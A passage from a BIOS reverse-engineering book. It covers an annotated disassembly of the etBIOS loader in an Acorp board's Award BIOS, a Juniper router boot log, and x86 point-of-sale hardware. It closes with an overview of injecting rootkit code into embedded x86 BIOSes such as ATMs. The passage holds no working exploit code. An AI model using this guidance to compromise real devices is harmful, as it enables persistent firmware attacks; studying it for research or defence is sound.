E_seg:99C4   jz    chk_etbios_existence 
E_seg:99C8   retn 
E_seg:99C8 exec_ET_BIOS endp ; sp = -2 
E_seg:99C8 ; ------------------------------------------------------------
E_seg:99C9   dq 0 
E_seg:99D1   dw 0FFFFh             ; Segment limit = 0xFFFFF 
E_seg:99D3   dw 0                  ; Base address = 0x0 
E_seg:99D5   db 0                  ; Base address continued 
E_seg:99D6   dw 0CF9Bh             ; Granularity = 4 KB; 
E_seg:99D6                         ; 32-bit segment; 
E_seg:99D6                         ; code segment; 
E_seg:99D8   db 0                  ; Base address continued 
E_seg:99D9   dw 0FFFFh             ; Segment limit = 0xFFFFF 
E_seg:99DB   dw 0                  ; Base address = 0x0 
E_seg:99DD   db 0                  ; Base address continued 
E_seg:99DE   dw 0CF93h             ; Granularity = 4 KB; 
E_seg:99DE                         ; 32-bit segment; 
E_seg:99DE                         ; data segment; 
E_seg:99E0   db 0                  ; Base address continued 
E_seg:99E1   dw 0FFFFh             ; Segment limit = 0xFFFFF 
E_seg:99E3   dw 0                  ; Base address = 0x0 
E_seg:99E5   db 0                  ; Base address continued 
E_seg:99E6   dw 8F93h              ; Granularity = 4 KB; 
E_seg:99E6                         ; 16-bit segment; 
E_seg:99E6                         ; data segment; 
E_seg:99E8   db 0                  ; Base address continued 
E_seg:99E9 word_E000_99E9 dw 0FFFFh ; Segment limit = 0xFFFF 
E_seg:99EB word_E000_99EB dw 0     ; ... 
E_seg:99EB                         ; Base address = 0x0 
E_seg:99ED byte_E000_99ED db 0     ; ... 
E_seg:99ED                         ; Base address continued 
E_seg:99EE   dw 9Ah                ; Granularity = byte; 
E_seg:99EE                         ; 16-bit segment; 
E_seg:99EE                         ; code segment; 
E_seg:99F0   db 0                  ; Base address continued 
E_seg:99F1 exec_ET_BIOS_GDT dw 37h ; ... 
E_seg:99F3 ET_GDT_phy_addr dd 0    ; ... 
E_seg:99F3                         ; Patched by init_GDT 
.......... 
E_seg:9CC1 chk_etbios_existence proc near ; ... 
E_seg:9CC1   mov   cx, 52h 
E_seg:9CC4   push  cs 
E_seg:9CC5   push  offset ret_addr 
E_seg:9CC8   push  offset F0_read_PCI_byte 
E_seg:9CCB   jmp   far ptr goto_Fseg 
E_seg:9CD0 ; ------------------------------------------------------------ 
E_seg:9CD0 ret_addr:               ; ... 
E_seg:9CD0   test  al, 8 



E_seg:9CD2   jz    short init_et_bios_bin 
E_seg:9CD4   retn 
E_seg:9CD5 ; ------------------------------------------------------------ 
E_seg:9CD5 init_et_bios_bin:       ; ... 
E_seg:9CD5   mov   dx, 48Fh 
E_seg:9CD8   in    al, dx 
E_seg:9CD9   and   al, 0FCh 
E_seg:9CDB   or    al, 2 
E_seg:9CDD   out   dx, al 
E_seg:9CDE   call  init_ET_BIOS 
E_seg:9CE1   mov   eax, cr0 
E_seg:9CE4   or    eax, 10h 
E_seg:9CE8   and   eax, 0FFFFFFFDh 
E_seg:9CEC   mov   cr0, eax 
E_seg:9CEF   retn 
E_seg:9CEF chk_etbios_existence endp ; sp = -6 
.......... 
E_seg:99FF init_ET_BIOS proc near  ; ... 
E_seg:99FF   pushad 
E_seg:9A01   push  es 
E_seg:9A02   push  ds 
E_seg:9A03   push  gs 
E_seg:9A05   push  fs 
E_seg:9A07   pushf 
E_seg:9A08   mov   eax, cr0 
E_seg:9A0B   push  eax 
E_seg:9A0D   in    al, 21h         ; Interrupt controller, 8259A 
E_seg:9A0F   shl   ax, 8 
E_seg:9A12   in    al, 0A1h        ; Interrupt controller #2, 8259A 
E_seg:9A14   push  ax 
E_seg:9A15   mov   si, 19B5h 
E_seg:9A18   call  setup_menu? 
E_seg:9A1B   or    al, al 
E_seg:9A1D   jnz   sign_not_found 
E_seg:9A21   mov   al, 35h ; '5' 
E_seg:9A23   out   70h, al         ; CMOS memory: 
E_seg:9A23                         ; 
E_seg:9A25   in    al, 71h         ; CMOS memory 
E_seg:9A27   test  al, 80h 
E_seg:9A29   jnz   sign_not_found 
E_seg:9A2D   push  cs 
E_seg:9A2E   push  offset enter_et_bios_init 
E_seg:9A31   push  offset call_init_gate_A20 
E_seg:9A34   jmp   far ptr goto_Fseg 
E_seg:9A39 ; ------------------------------------------------------------ 
E_seg:9A39 enter_et_bios_init:     ; ... 
E_seg:9A39   call  backup_mem_above_1MB 
E_seg:9A3C   mov   al, 1 
E_seg:9A3E   call  init_descriptor_cache 
E_seg:9A41   call  search_ET_BIOS_sign_pos 
E_seg:9A44   jb    sign_not_found 



E_seg:9A48   call  relocate_ET_BIOS ; Relocate ET_BIOS to above 1 MB 
E_seg:9A4B   mov   esi, 100000h    ; 1-MB area 
E_seg:9A51   mov   eax, 54453EEBh  ; Is ET_BIOS signature OK? 
E_seg:9A57   cmp   [esi], eax 
E_seg:9A5B   jnz   sign_not_found 
E_seg:9A5F   jmp   short ET_BIOS_sign_found 
E_seg:9A61 ; ------------------------------------------------------------ 
E_seg:9A61   mov   al, 0EAh 
E_seg:9A63   out   80h, al         ; POST code EAh 
E_seg:9A65 
E_seg:9A65 hang:                   ; ... 
E_seg:9A65   jmp   short hang 
E_seg:9A67 ; ------------------------------------------------------------ 
E_seg:9A67 ET_BIOS_sign_found:     ; ... 
E_seg:9A67   test  byte ptr [esi+1Ch], 10h 
E_seg:9A6C   jnz   short no_ctlr_reset 
E_seg:9A6E   call  reset_IDE_n_FDD_ctlr 
E_seg:9A71 
E_seg:9A71 no_ctlr_reset:          ; ... 
E_seg:9A71   mov   edi, 100000h 
E_seg:9A77   mov   dword ptr es:[edi+24h], 4000000h 
E_seg:9A81   mov   bx, [esi+10h] 
E_seg:9A85   cmp   bx, 0 
E_seg:9A88   jz    short no_vesa_init 
E_seg:9A8A   mov   ax, 4F02h 
E_seg:9A8D   int   10h  ; - VIDEO - VESA SuperVGA BIOS - SET SuperVGA 
E_seg:9A8D              ; VIDEO MODE. BX = mode, bit 15 set means don't 
E_seg:9A8D              ; clear video memory. 
E_seg:9A8D              ; Return: AL = 4Fh function supported 
E_seg:9A8D              ; AH = 00h successful, 01h failed 
E_seg:9A8F 
E_seg:9A8F no_vesa_init:           ; ... 
E_seg:9A8F   jmp   short init__ET_BIOS_binary 
.......... 
E_seg:9A99 init__ET_BIOS_binary:   ; ... 
E_seg:9A99   mov   es:[edi+12h], al 
E_seg:9A9E   mov   si, 19CEh 
E_seg:9AA1   call  setup_menu? 
E_seg:9AA4   mov   si, 99F7h 
E_seg:9AA7   add   si, ax 
E_seg:9AA9   mov   al, cs:[si] 
E_seg:9AAC   mov   es:[edi+21h], al 
E_seg:9AB1   call  init_GDT 
E_seg:9AB4   xor   ebx, ebx 
E_seg:9AB7   xor   ecx, ecx 
E_seg:9ABA   mov   bx, 99F1h 
E_seg:9ABD   mov   cx, cs 
E_seg:9ABF   shl   ecx, 4 
E_seg:9AC3   add   ecx, ebx 
E_seg:9AC6   push  ecx  ; Push GDT physical address to be used later to 
E_seg:9AC6              ; return to 16-bit mode after ET_BIOS execution 



E_seg:9AC8   xor   eax, eax 
E_seg:9ACB   mov   ax, 8 
E_seg:9ACE   push  eax  ; Push code selector number (32-bit P-mode 
E_seg:9ACE              ; selector) 
E_seg:9AD0   mov   ax, 9B1Bh       ; Address following retf (below) 
E_seg:9AD3   xor   ecx, ecx 
E_seg:9AD6   mov   cx, cs 
E_seg:9AD8   shl   ecx, 4          ; ecx = phy_addr(cs) 
E_seg:9ADC   add   eax, ecx 
E_seg:9ADF   push  eax 
E_seg:9AE1   xor   eax, eax 
E_seg:9AE4   xor   ecx, ecx 
E_seg:9AE7   mov   cx, ss 
E_seg:9AE9   shl   ecx, 4 
E_seg:9AED   mov   ax, sp 
E_seg:9AEF   add   ecx, eax 
E_seg:9AF2   mov   edi, 100000h    ; edi = phy_addr_copy_of_et_BIOS 
E_seg:9AF8   cli 
E_seg:9AF9   lgdt  qword ptr cs:exec_ET_BIOS_GDT 
E_seg:9AFF   mov   eax, cr0 
E_seg:9B02   or    eax, 1          ; Enter P-mode 
E_seg:9B06   mov   cr0, eax 
E_seg:9B09   mov   ax, 10h 
E_seg:9B0C   mov   ds, ax 
E_seg:9B0E   mov   es, ax 
E_seg:9B10   mov   fs, ax 
E_seg:9B12   mov   gs, ax 
E_seg:9B14   mov   ss, ax 
E_seg:9B16   mov   esp, ecx 
E_seg:9B19   db      66h 
E_seg:9B19   retf                  ; Jump below in 32-bit P-mode 
E_seg:9B19 init_ET_BIOS endp ; sp = -3Ch 
exec_et_bios:000E9B1B ; ------------------------------------------------- 
exec_et_bios:000E9B1B ; Segment type: Regular 
exec_et_bios:000E9B1B exec_et_bios segment byte public '' use32 
exec_et_bios:000E9B1B   assume cs:exec_et_bios 
exec_et_bios:000E9B1B 
exec_et_bios:000E9B1B   call  edi  ; Call et_bios at 100000h 
exec_et_bios:000E9B1B              ; (ET_BIOS:100000h) 
exec_et_bios:000E9B1D   pop   ebx 
exec_et_bios:000E9B1E   lgdt  qword ptr [ebx] 
exec_et_bios:000E9B21   db      67h 
exec_et_bios:000E9B21   jmp   small far ptr 20h:9B28h ; Jump below in 
exec_et_bios:000E9B21                                 ; 16-bit P-mode 
E_seg:9B28 ; ------------------------------------------------------------ 
E_seg:9B28 ; Segment type: Regular 
E_seg:9B28 E_seg segment byte public '' use16 
E_seg:9B28   assume cs:E_seg 
E_seg:9B28 
E_seg:9B28   mov   eax, cr0 
E_seg:9B2B   and   al, 0FEh 



E_seg:9B2D   mov   cr0, eax 
E_seg:9B30   jmp   far ptr real_mode 
E_seg:9B35 
E_seg:9B35 real_mode: 
E_seg:9B35   lidt  qword ptr cs:dword_E000_9B9D 
E_seg:9B3B   mov   esi, 100000h 
.......... 
E_seg:9C7A relocate_ET_BIOS proc near ; ... 
E_seg:9C7A   mov   edi, 100000h    ; edi = target_addr (1 MB) 
E_seg:9C80   mov   ecx, [esi+4] 
E_seg:9C85   add   ecx, 3FFh 
E_seg:9C8C   and   ecx, 0FFFFFC00h ; Size mod 1 KB 
E_seg:9C93   shr   ecx, 2 
E_seg:9C97   cld 
E_seg:9C98   rep movs dword ptr es:[edi], dword ptr [esi] 
E_seg:9C9C   clc 
E_seg:9C9D   retn 
E_seg:9C9D relocate_ET_BIOS endp 
E_seg:9C9E search_ET_BIOS_sign_pos proc near ; ... 
E_seg:9C9E   mov   esi, 0FFF80000h 
E_seg:9CA4   mov   eax, 54453EEBh  ; eax = et_bios first 4 bytes 
E_seg:9CA4                         ; (including signature) 
E_seg:9CAA 
E_seg:9CAA next_16_bytes:          ; ... 
E_seg:9CAA   cmp   [esi], eax 
E_seg:9CAE   jz    short exit 
E_seg:9CB0   add   esi, 16 
E_seg:9CB4   cmp   esi, 0FFFF0000h 
E_seg:9CBB   jb    short next_16_bytes 
E_seg:9CBD   stc 
E_seg:9CBE   retn 
E_seg:9CBF ; ------------------------------------------------------------ 
E_seg:9CBF exit:                   ; ... 
E_seg:9CBF   clc 
E_seg:9CC0   retn 
E_seg:9CC0 search_ET_BIOS_sign_pos endp 
.......... 
ET_BIOS:00100000 ; ------------------------------------------------------ 
ET_BIOS:00100000 ; Segment type: Pure code 
ET_BIOS:00100000 ET_BIOS segment byte public 'CODE' use32 
ET_BIOS:00100000   assume cs:ET_BIOS 
ET_BIOS:00100000   ; org 100000h 
ET_BIOS:00100000 
ET_BIOS:00100000   jmp   short _start_ET_BIOS 
ET_BIOS:00100000 ; ------------------------------------------------------
ET_BIOS:00100002 aEt db 'ET'             ; ET_BIOS signature 
ET_BIOS:00100004   dw 0FC73h             ; Encoded ET_BIOS size 
................ 
ET_BIOS:00100040 _start_ET_BIOS:         ; ... 
ET_BIOS:00100040   cli 
ET_BIOS:00100041   mov   ds:1F3BA0h, esp 



ET_BIOS:00100047   mov   esp, 1F8000h 
ET_BIOS:0010004C   cld 
ET_BIOS:0010004D   lgdt  qword ptr ds:ET_GDT_PTR 
ET_BIOS:00100054   pushf 
ET_BIOS:00100055   pop   eax 
ET_BIOS:00100056   and   ah, 0BFh 
ET_BIOS:00100059   push  eax 
ET_BIOS:0010005A   popf 
ET_BIOS:0010005B   call  decompresssss??? ; A decompression routine? 
ET_BIOS:00100060   sub   eax, eax 
ET_BIOS:00100062   mov   edi, 1A8010h 
ET_BIOS:00100067   mov   ecx, 1F3B94h 
ET_BIOS:0010006C   sub   ecx, edi 
ET_BIOS:0010006E   shr   ecx, 1 
ET_BIOS:00100071   shr   ecx, 1 
ET_BIOS:00100074   rep stosd 
ET_BIOS:00100076   call  near ptr unk_0_1023D0 ; Still need to research; 
ET_BIOS:00100076                to be compressed part ;-)          ; seems
ET_BIOS:0010007B   jmp   short back_to_SYS_BIOS 
................ 
ET_BIOS:00100081 back_to_SYS_BIOS:       ; ... 
ET_BIOS:00100081   cli 
ET_BIOS:00100082   mov   ds:byte_0_100033, al 
ET_BIOS:00100087   mov   esp, ds:1F3BA0h 
ET_BIOS:0010008D   retn 
ET_BIOS:0010008D ; ------------------------------------------------------ 
ET_BIOS:0010008E ET_GDT dq 0             ; ... 
ET_BIOS:00100096   dw 0FFFFh             ; Segment limit = 0xFFFFF 
ET_BIOS:00100098   dw 0                  ; Base address = 0x0 
ET_BIOS:0010009A   db 0                  ; Base address continued 
ET_BIOS:0010009B   dw 0CF9Bh             ; Granularity = 4 KB; 
ET_BIOS:0010009B                         ; 32-bit segment; 
ET_BIOS:0010009B                         ; code segment; 
ET_BIOS:0010009D   db 0                  ; Base address continued 
ET_BIOS:0010009E   dw 0FFFFh             ; Segment limit = 0xFFFFF 
ET_BIOS:001000A0   dw 0                  ; Base address = 0x0 
ET_BIOS:001000A2   db 0                  ; Base address continued 
ET_BIOS:001000A3   dw 0CF93h             ; Granularity = 4 KB; 
ET_BIOS:001000A3                         ; 32-bit segment; 
ET_BIOS:001000A3                         ; data segment; 
ET_BIOS:001000A5   db 0                  ; Base address continued 
ET_BIOS:001000A6   db    0 
ET_BIOS:001000A7   db    0 
ET_BIOS:001000A8 ET_GDT_PTR dw 0FFFFh    ; ... 
ET_BIOS:001000AA   dd offset ET_GDT 
................ 
 
 The segment addressing in listing 14.1 needs clarification. The segment named E_seg is 
segment E000h in the system BIOS, a 16-bit segment with a base address of E0000h; the 
offset of the code in this segment is relative to E0000h. The segment named exec_et_bios 
is a small 32-bit segment with a base address set to 0000h; the offset of the code in this 



segment is relative to 0000h. In addition, the segment named ET_BIOS is the relocated 
etBIOS binary in RAM, a 32-bit segment with a base address set to 0000h; offsets in this 
segment are relative to 0000h. 
 Listing 14.1 shows that the etBIOS binary is executed as part of the execution of the 
POST jump table. Moreover, the etBIOS module inside the BIOS binary is recognized by 
using a 4-byte signature, as shown in hex dump 14.2. 
 

Hex dump 14.2 etBIOS Module Signature Bytes 

Hex          ASCII 
0x54453EEB  .>ET 
 
 This signature is checked on two occasions in listing 14.1: at address E_seg:9A51h and 
at address E_seg:9CA4h. I found this signature in two different instances of etBIOS usage: 
the first is in this Acorp 4865GQET motherboard and the other one is in the Acorp 
7KM400QP motherboard. Therefore, this byte sequence is indeed made of the signature 
bytes. Furthermore, the etBIOS module is always given *.dat extension. 
 Figure 14.10 shows the simplified algorithm for the etBIOS execution in listing 14.1. 
 



 
Figure 14.10 EtBIOS execution algorithm for listing 14.1 

 



 The simplified diagram in figure 14.10 of the listing 14.1 algorithm doesn't show all 
possible routes to execute the routines in the etBIOS routine. It only shows the most 
important route that will eventually execute etBIOS module in the Acorp 4865GQET 
BIOS. Listing 14.1 also shows a call to an undefined function that is apparently a 
decompression function. (I haven't completed for you the reverse engineering in that 
function.) From this fact, you can conclude that even if the etBIOS module is not stored as 
an LZH-compressed component in the overall BIOS binary, it's still using a compression 
scheme that it employs itself. Another fact that may help you complete the reverse 
engineering of the etBIOS module is the existence of the GCC string shown in hex dump 
14.3. 
 

Hex dump 14.3 GCC String in etBIOS Binary from the Acorp 4865GQET Motherboard 

Address          Hex values                          ASCII 
........ 
000011D0 0047 4343 3A20 2847 4E55 2920 6567 6373 .GCC: (GNU) egcs 
000011E0 2D32 2E39 312E 3636 2031 3939 3930 3331 -2.91.66 1999031 
000011F0 342F 4C69 6E75 7820 2865 6763 732D 312E 4/Linux (egcs-1. 
00001200 312E 3220 7265 6C65 6173 6529 0008 0000 1.2 release).... 
00001210 0000 0000 0001 0000 0030 312E 3031 0000 .........01.01.. 
........ 
 
 The address in hex dump 14.3 is relative to the beginning of the etBIOS binary. You 
can "cut and paste" the etBIOS binary by using the information from its LZH header. 
Recall from table 5.2 in subsection 5.1.2.7 that the LZH header contains information about 
the "compressed" file size, along with the length of the "compressed" file header. You can 
use this information to determine the start and end of the etBIOS module and then copy and 
paste it to a new binary file by using a hex editor. This step simplifies the etBIOS analysis 
process. 
 In sections 3.2 and 7.3, you learn about BIOS-related software development. Some 
techniques that you learn in those sections are applicable to embedded x86 software 
development and the reverse engineering of embedded x86 systems. Of particular 
importance is the linker script technique described in section 3.2. By using a linker script, 
you can control the output of GCC. Inferring from the linker script technique that you 
learned in section 3.2, you can conclude that the binary file that forms the etBIOS module 
possibly is a result of using a linker script, or at least using GCC tricks. This hint can help 
you complete etBIOS reverse engineering. 
 Many embedded x86 system developers are using GCC as their compiler of choice 
because of its versatility. Thus, it's not surprising that Elegent Technologies also uses it in 
the development of its etBIOS and related products.  
 Now, you likely have grasped the basics of PC-based STB. In the next subsection, I 
delve into network appliances based on embedded x86 technologies. 
 
 
14.2.2. Network Appliance 
 



 This subsection talks about a network appliance device that is an embedded x86 system; 
I don't provide in-depth analysis like I did in the previous subsection because it's hard to 
obtain the binary of the BIOS in these devices. They are not publicly accessible. 
Nonetheless, it's important to talk about this class of devices to give you a sense of effective 
reverse engineering when it comes to "foreign" systems. The focus will be on a router. 
 I start with an overview of the BIOS used in the Juniper M7i router. This router is an 
embedded x86 device. A picture of the router is shown in figure 14.11. 
 

 
Figure 14.11 Juniper M7i router 

 
 The Juniper M7i router uses Award BIOS. BIOS screenshots are shown in figures 14.12 
and 14.13. 
 

 
Figure 14.12 Juniper M7i hard disk setup in its BIOS (courtesy of Rendo Ariya Wibawa, 

http://rendo.info/?p=25; reproduced with permission) 

 



 
Figure 14.13 Juniper M7i boot setting in its BIOS (courtesy of Rendo Ariya Wibawa, 

http://rendo.info/?p=25; reproduced with permission) 

 
 The Award BIOS screenshots in figures 14.12 and 14.13 show that the "release number" 
of the BIOS is 2A69TU00. If you try to find an Award BIOS with this release number on 
the Web, you will find that it is for the Asus TUSL2C motherboard. The Asus TUSL2C 
uses the Intel 815EP chipset. However, the boot log of Juniper M7i shows that the 
motherboard in the router is based on the Intel 440BX chipset. The boot log is shown in 
listing 14.2. 
 

Listing 14.2 Boot Log of the Juniper M7i Router (Courtesy of Rendo Ariya Wibawa, 
http://rendo.info/?p=25; Reproduced with Permission) 

Will try to boot from : 
CompactFlash 
Primary IDE Hard Disk 
Boot Sequence is reset due to a PowerUp 
Trying to Boot from CompactFlash 
Trying to Boot from Primary IDE Hard Disk 
Console: serial port 
BIOS drive A: is disk0 
BIOS drive C: is disk1 
BIOS 639 KB/523264 KB available memory 
FreeBSD/i386 bootstrap loader, Revision 0.8 
(builder@jormungand.juniper.net, Tue Apr 27 03:10:29 GMT 2004) 
Loading /boot/defaults/loader.conf 
/kernel text=0×495836 data=0×2bb24+0×473c0 syms=[0×4+0×3fea0+0×4+0×4b5ed] 



Loader Quick Help 
------ 
The boot order is PCMCIA or floppy -> Flash -> Disk -> Lan -> 
back to PCMCIA or floppy. Typing reboot from the command prompt will 
cycle through the boot devices. On some models, you can set the next 
boot device using the nextboot command: nextboot compactflash : disk 
For more information, use the help command: help <topic> <subtopic> 
Hit [Enter] to boot immediately, or space bar for command prompt. 
Booting [kernel]… 
Copyright (c) 1996-2001, Juniper Networks, Inc. 
All rights reserved. 
Copyright (c) 1992-2001 The FreeBSD Project. 
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 
The Regents of the University of California. All rights reserved. 
JUNOS 6.3R1.3 #0: 2004-04-27 03:22:47 UTC 
builder@jormungand.juniper.net:/build/jormungand-c/6.3R1.3/obj-
i386/sys/compile/JUNIPER 
Timecounter "i8254" frequency 1193182 Hz 
Timecounter "TSC" frequency 397948860 Hz 
CPU: Pentium III/Pentium III Xeon/Celeron (397.95-MHz 686-class CPU) 
Origin = "GenuineIntel" Id = 0×68a Stepping = 10 
Features=0×383f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR, 
PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE> 
real memory = 536870912 (524288K bytes) 
sio0: gdb debugging port 
avail memory = 515411968 (503332K bytes) 
Preloaded elf kernel "kernel" at 0xc0696000. 
DEVFS: ready for devices 
Pentium Pro MTRR support enabled 
md0: Malloc disk 
DRAM Data Integrity Mode: ECC Mode with h/w scrubbing 
npx0: <math processor> on motherboard 
npx0: INT 16 interface 
pcib0: <Intel 82443BX host to PCI bridge (AGP disabled)> on motherboard 
pci0: <PCI bus> on pcib0 
isab0: <Intel 82371AB PCI to ISA bridge> at device 7.0 on pci0 
isa0: <ISA bus> on isab0 
atapci0: <Intel PIIX4 ATA33 controller> port 0xf000-0xf00f at device 7.1 
on pci0 
ata0: at 0×1f0 irq 14 on atapci0 
pci0: <Intel 82371AB/EB (PIIX4) USB controller> at 7.2 irq 11 
smb0: <Intel 82371AB SMB controller> port 0×5000-0×500f at device 7.3 on 
pci0 
chip1: <PCI to CardBus bridge (vendor=104c device=ac55)> mem 0xe6045000-
0xe6045fff irq 15 at device 13.0 on pci0 
chip2: <PCI to CardBus bridge (vendor=104c device=ac55)> mem 0xe6040000-
0xe6040fff irq 9 at device 13.1 on pci0 
fxp0: <Intel Embedded 10/100 Ethernet> port 0xdc00-0xdc3f mem 0xe6020000-
0xe603ffff,0xe6044000-0xe6044fff irq 9 at device 16.0 on pci0 
fxp1: <Intel Embedded 10/100 Ethernet> port 0xe000-0xe03f mem 0xe6000000-
0xe601ffff,0xe6047000-0xe6047fff irq 10 at device 19.0 on pci0 



ata2 at port 0×170-0×177,0×376 irq 15 on isa0 
atkbdc0: <Keyboard controller (i8042)> at port 0×60,0×64 on isa0 
vga0: <Generic ISA VGA> at port 0×3b0-0×3bb iomem 0xb0000-0xb7fff on isa0 
sc0: <System console> at flags 0×100 on isa0 
sc0: MDA <16 virtual consoles, flags=0×100> 
pcic0: <VLSI 82C146> at port 0×3e0 iomem 0xd0000 irq 10 on isa0 
pcic0: management irq 11 
pcic0: Polling mode 
pccard0: <PC Card bus--legacy version> on pcic0 
pccard1: <PC Card bus--legacy version> on pcic0 
sio0 at port 0×3f8-0×3ff irq 4 flags 0×90 on isa0 
(irrelevant boot log removed)... 
 
 Notice the following lines from listing 14.2: 
 
pcib0: <Intel 82443BX host to PCI bridge (AGP disabled)> on motherboard 
pci0: <PCI bus> on pcib0 
isab0: <Intel 82371AB PCI to ISA bridge> at device 7.0 on pci0 
 
 These lines clearly state that the motherboard in Juniper M7i is based on the Intel 
440BX chipset. You might be confused; which is right, the BIOS "release number" logic or 
the logic shown in the boot log? I think the right one is the boot log because Juniper 
Networks is big enough company that it could have asked Award to make a custom BIOS 
when Juniper M7i was developed. Award must have used a different BIOS "release 
number" scheme for the Juniper router even though it's also an x86 platform, much like 
desktops or servers. 
 From the preceding information, you can conclude the there is a possibility to attack 
Juniper M7i with a BIOS rootkit. However, because the API for this router is not known 
publicly, it's hard to infect an operational Juniper M7i with a BIOS rootkit. Attacking a 
router such as Juniper M7i will require reverse engineering of JunOS—the operating 
system of the Juniper Networks router. The reverse engineering process is needed to figure 
out the API to access the hardware in a running Juniper M7i router. 
 Some routers and hardware-based firewalls made by Cisco Systems also use embedded 
x86 as their platform—for example, the Cisco PIX series firewall. There are numerous 
other examples of network appliances based on embedded x86. The basic architecture of 
these systems is similar to that shown in figure 14.3. Most of them use customized BIOS;  
probably a modified version of the commodity BIOS from desktop or server platforms. 
 
 
14.2.3. Kiosk 
 
 This subsection talks about the typical implementation of an x86-based kiosk. The term 
kiosk in this context refers to a point-of-sale or point-of-service (POS) device. POS devices 
include automatic teller machines (ATMs), and cash registers. In recent years, increasing 
numbers of POS devices have become x86-based, because the overall cost/performance 
ratio is better than that for other architecture. Figure 14.14 shows a typical POS device—an 
ATM. 



 

 
Figure 14.14 An ATM 

 
 I won't go into the detail of a complete POS device analysis. I want to focus on one 
building block of the system—named the single board computer (SBC)—and give an 
overview of its operating system. Figure 14.15 shows the typical architecture of a POS 
device. 
 

 
Figure 14.15 Typical POS device architecture 

 
 I won't explain all of the POS device components in figure 14.15; I want to focus on the 
SBC. Nowadays, the SBC is the heart of every POS device because every component in the 



system communicates with it. Many SBCs used in a POS device today are based on x86; 
one of them is Advantech PCM-5822. Figure 14.16 shows the screenshot of the SBC. 
 

 
Figure 14.16 Advantech PCM-5822 SBC 

 
 You can find information about this SBC on the Web at 
http://www.advantech.com/products/Model_Detail.asp?model_id=1-1TGZM2. This SBC 
has an on-board AMD Geode GX1 or Geode GXLV-200 processor. Geode is a family of 
x86 processors produced by AMD for embedded application. You can download the 
relevant datasheets for the AMD Geode GX processor family at http://www.amd.com/us-
en/ConnectivitySolutions/ProductInformation/0,,50_2330_9863_9919,00.html. The chipset 
used in Advantech PCM-5822 is CX5530, a custom chipset for the AMD Geode GX 
processor family. 
 Advantech PCM-5822 SBC comes preloaded with a BIOS based on Award BIOS 
version 4.50PG. The BIOS is much like the standard Award BIOS 4.50 that you can find 
on desktop PCs produced around 1998–2000. You can download the BIOS for Advantech 
PCM-5822 at http://www.advantech.com/support/detail_list.asp?model_id=PCM-5822. It's 
quite easy to modify the BIOS in this SBC because it uses the "standard" Award BIOS 
4.50. Therefore, the modification tools for it are available in the public domain. 
 The BIOS on this SBC is vulnerable to a code injection attack because of the usage of 
Award BIOS 4.50.4 Some vendors have customized the BIOS before using it in a POS 
device. However, it is usually still vulnerable to BIOS code injection because most 
customization is only carried out to reduce the boot time—removing certain checks during 
POST, changing the boot logo, and perhaps hard-coding some BIOS options. These 
customizations don't protect the BIOS against code injection attack. 
 Performing an attack on a POS device based on this SBC is difficult because the 
operating system running on it is customized for the embedded system, such as Windows 
CE or embedded Linux. Nonetheless, becoming accustomed to the API of those operating 
systems is trivial for an experienced system programmer because those operating systems 
are descendants of their desktop or server counterpart. The POS vendors choose to use 
Windows CE or embedded Linux because of the versatility, quick development time, and 
cost efficiency. In most cases, upon seeing a POS device, you wouldn't be able to recognize 
its operating system. Nevertheless, you might see it clearly when the POS is out of service 
                                                 
4 This was explained in section 6.2—the section about code injection in Award BIOS. 



and it displays error messages. Otherwise, you can only guess from a part number or some 
other vendor-related identifier in the POS device. I was able to figure out the operating 
system used in an ATM for one bank because the out-of-service error message was an 
embedded system version of the famous blue screen of death (BSOD) in Windows on the 
desktop platform. Upon seeing it, I knew that the ATM used Windows XP Embedded 
edition because the error message display the BSOD. Some systems uses Windows XP 
Embedded edition instead of Windows CE to take advantage of operating system features. 
 
 
14.3. Embedded x86 BIOS Exploitation 
 
 In the subsection 14.2.3, you saw that some embedded x86 devices use a customized 
desktop version of Award BIOS. The same is true for the BIOS from other vendors. 
Therefore, the security hole found in the desktop version of a BIOS likely can be ported to 
its embedded x86 BIOS counterpart. This section gives an overview of a possible 
exploitation scenario to the embedded x86 BIOS. 
 As already mentioned, embedded x86 systems mostly use a customized operating 
system, such as Windows CE, Windows XP Embedded edition, or Embedded Linux. 
Suppose that attackers have gained administrator privileges in one of these machines. How 
would they "install" malicious software in the machine? If they target the BIOS, they must 
understand the underlying architecture of the operating system to be able to access the 
BIOS chip. Figure 14.17 shows the details of the steps for accessing the BIOS in embedded 
x86 systems. 
 



 
Figure 14.17 Steps to access the BIOS chip in embedded x86 systems 

 
 Accessing the BIOS chip in embedded x86 systems is not a big problem if the operating 
system is Windows XP Embedded edition because the API used in this operating system is 
the same as the API in other Windows XP editions. I provided sample source code to 
access the BIOS chip in Windows XP in section 9.3. It's unfortunate that I don't have access 
to a system with Windows XP Embedded edition to try the application. Nevertheless, I 
think the sample source code should be portable—maybe directly executable—to Windows 
XP Embedded edition. On the other side, Windows CE is tricky because the API is not 
exactly the same as that of Windows XP. Indeed, the Windows CE API is highly 
compatible with the API in the desktop version of Windows. However, for a low-level API, 
i.e., a kernel API, it's not exactly the same. You can read the Microsoft Developer Network 
online documentation at http://msdn.microsoft.com to find out more about the Windows CE 
API. As for systems that use embedded Linux, these are easier for attackers to work with 
because the source code of the operating system is available in the public domain, along 
with some documentation about the system. As for embedded x86 systems with the 
operating system integrated into the BIOS, as in the case of etBIOS in subsection 14.2.1, 
you have to reverse engineer a compatible version of the operating system from a publicly 



available BIOS binary before trying to compromise systems that use the operating system. 
You have to reverse engineer the binary because there's no public domain documentation 
that plays a role similar to that of MSDN as Windows documentation. 
 The next problem that attackers face is how to "inject" their code into the embedded x86 
BIOS in the system so that the BIOS will not be broken. This is not a big deal for systems 
with Award BIOS because the code injection method is already known. For example, 
Acorp 4865GQET uses Award BIOS 6.00PG as its base code, so it's trivial to inject code 
into it. The same is true for the Advantech PCM-5822 because it uses Award BIOS 4.50PG. 
Moreover, the BIOS version used in embedded x86 versions always seems to be an older 
version compared to its desktop counterpart. As for BIOSs from other vendors, there's no 
published code injection method; nevertheless, the possibility is there, waiting to be 
exploited. 
 



Chapter 15 What’s Next 
 
PREVIEW 
 
 This chapter talks about the future of BIOS technology. It is an industry insight into 
future trends in BIOS technology, including security related issue. Some of the BIOS-
related technologies in this chapter probably have reached the market. Nevertheless, it’s not 
widespread yet. Moreover, the future trends in embedded x86 BIOS technology is also 
explained briefly. 
 
15.1. The Future of BIOS Technology 
 
  This section talks about advances in BIOS technology. The first subsection explains the 
